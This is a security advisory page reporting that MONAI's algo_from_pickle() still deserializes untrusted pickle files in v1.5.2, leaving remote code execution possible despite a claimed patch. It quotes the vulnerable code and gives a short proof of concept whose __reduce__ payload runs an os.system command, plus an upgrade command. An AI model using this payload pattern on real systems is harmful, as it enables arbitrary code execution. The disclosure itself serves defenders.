VDB
KO
HIGH 7.8

GHSA-qxq5-qhx6-94qw

Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch

Quick fix

GHSA-qxq5-qhx6-94qw — monai: upgrade to the fixed version with the command below.

pip install --upgrade 'monai>=1.6.0'

Details

## Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py` has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was never implemented.

## Vulnerable Code

File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)

```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here

# isinstance/key checks happen AFTER deserialization — already too late

algo_bytes = data.pop("algo_bytes") ... if len(template_paths_candidates) == 0: algo = pickle.loads(algo_bytes) # SINK 2 — line 350 else: for p in template_paths_candidates: algo = pickle.loads(algo_bytes) # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8") - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356 - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit: def __reduce__(self): return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires

print(open("/tmp/rce_proof.txt").read()) # uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algo_from_pickle(): desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / monai
Introduced in: 0 Fixed in: 1.6.0
Fix pip install --upgrade 'monai>=1.6.0'

References